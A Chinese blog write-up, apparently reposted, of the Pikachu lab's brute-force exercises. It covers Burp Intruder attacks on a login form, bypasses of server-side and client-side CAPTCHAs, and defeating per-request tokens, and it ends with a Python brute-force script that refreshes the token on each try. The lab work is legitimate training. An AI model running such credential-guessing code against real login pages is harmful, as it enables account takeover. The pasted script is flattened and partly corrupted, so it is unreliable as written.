pikachu笔记|Pikachu漏洞靶场 Burte Force(暴力破解)

Burte Force(暴力破解)


文章目录
      • Burte Force(暴力破解)
        • 概述
        • 1.基于表单的暴力破解
        • 2.验证码绕过(on server)
        • 3.验证码绕过(on client)
        • 4.token防爆破?
          • 方法一:Burp爆破
          • 方法二:Python爆破

概述 “暴力破解”是一攻击具手段,在web攻击中,一般会使用这种手段对应用系统的认证信息进行获取。其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果。为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作。
1.基于表单的暴力破解 ? 抓包查看可以看到没有任何限制
pikachu笔记|Pikachu漏洞靶场 Burte Force(暴力破解)
文章图片

所以直接发送到Intruder模块暴力破解即可,如下已出结果:
pikachu笔记|Pikachu漏洞靶场 Burte Force(暴力破解)
文章图片
如果想看更多关于burp操作的内容的请看这篇文章:DVWA Brute Force(暴力破解)
2.验证码绕过(on server)
Tips: 这个验证码好像一直有效哎!用户还是那三个默认用户.
正确输入验证码,然后抓个包查看
pikachu笔记|Pikachu漏洞靶场 Burte Force(暴力破解)
文章图片

发送到Repeater模块查看,多次试验后可以看到验证码并未过期,可以多次使用,所以验证码并不影响暴力破解
pikachu笔记|Pikachu漏洞靶场 Burte Force(暴力破解)
文章图片

再次进行暴力破解,成功出结果:
pikachu笔记|Pikachu漏洞靶场 Burte Force(暴力破解)
文章图片

3.验证码绕过(on client) 查看网站源码,发现生成验证码和校验验证码皆在客户端进行,所以可以绕过
pikachu笔记|Pikachu漏洞靶场 Burte Force(暴力破解)
文章图片

依然是burp抓包,输入正确的验证码
pikachu笔记|Pikachu漏洞靶场 Burte Force(暴力破解)
文章图片

这里验证码不会在后端校验,所以可以绕过验证码校验,还是可以进行暴力破解:
pikachu笔记|Pikachu漏洞靶场 Burte Force(暴力破解)
文章图片

4.token防爆破? 科普一下Token:
token是计算机术语令牌,令牌是一种能够控制站点占有媒体的特殊帧,以区别数据帧及其他控制帧;token其实说的更通俗点可以叫暗号,在一些数据传输之前,要先进行暗号的核对,不同的暗号被授权不同的数据操作。
——PHP中文网
这里的token就是每次请求的时候服务端都会返回一个token值,登陆的时候需要附带获取的token参数才能登录。每次请求服务端都返回一个新的token,每次尝试登录的时候token都不一样,这就会加大暴力破解的难度。
方法一:Burp爆破 首先抓包,发送到Intruder,设置模式为Pitchfork,设置usrename,password,token为参数。
pikachu笔记|Pikachu漏洞靶场 Burte Force(暴力破解)
文章图片

然后在Resource Pool(资源池)中选择单线程爆破,因为接下来要设置的Recursive_Grep模式只能单线程爆破
pikachu笔记|Pikachu漏洞靶场 Burte Force(暴力破解)
文章图片

然后在Options选项卡,选择Grep-Extract(意思是用于提取响应消息中的有用信息),点击Add进入Define页面。
pikachu笔记|Pikachu漏洞靶场 Burte Force(暴力破解)
文章图片

pikachu笔记|Pikachu漏洞靶场 Burte Force(暴力破解)
文章图片

返回Payload模块,设置token值即payload3的Payload type为Recursive grep,它表示将服务器每次返回的数据来替换payload中的变量值,这里用来每次替换token的值。
然后在Initial payload for first request:设置第一次请求的token值。
pikachu笔记|Pikachu漏洞靶场 Burte Force(暴力破解)
文章图片

点击Start attack开始暴力破解。
跑完字典之后可以看到成功爆破。
pikachu笔记|Pikachu漏洞靶场 Burte Force(暴力破解)
文章图片

方法二:Python爆破 代码详细解析请看Python暴力破解网站登录密码(带token验证)
此处为代码:
from bs4 import BeautifulSoup import requests from requests.models import Responseurl = "http://192.168.171.30/pikachu/vul/burteforce/bf_token.php" user_token = '8680761fe979039a6f836599906' #proxies = {"http": "http://127.0.0.1:8080"}# 代理设置,方便burp抓包查看和调试 header = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0', 'Cookie': 'PHPSESSID=17u0i2fakm84eq9oc24boc8715' }def get_token(r): soup = BeautifulSoup(r.text, 'html.parser') user_token = soup.select('input[name="token"]')[0]['value'] return user_tokenif __name__ == "__main__": f = open('result.csv', 'w')#把爆破结果储存到文件里,这里为csv格式 f.write('用户名' + ',' + '密码' + ',' + '包长度' + '\n')#给文件设置标题#遍历字典文件,Cluster bomb 暴力破解 for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"): for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"): username = admin.strip() password = line.strip() payload = {#payload为POST的数据 'username': username, 'password': password, 'token': user_token, 'submit': 'Login' }Response = requests.post(url, data=https://www.it610.com/article/payload, headers=header) result = username +',' + password + ',' + str(len(Response.text))#用户名密码以及响应包长度print(result)#输出到终端 f.write(result + '\n')#输出到文件 user_token = get_token(Response)#调用get_token函数获取下一次循环需要的token print('\n---完成---\n') f.close()

运行结果如下:
【pikachu笔记|Pikachu漏洞靶场 Burte Force(暴力破解)】

    推荐阅读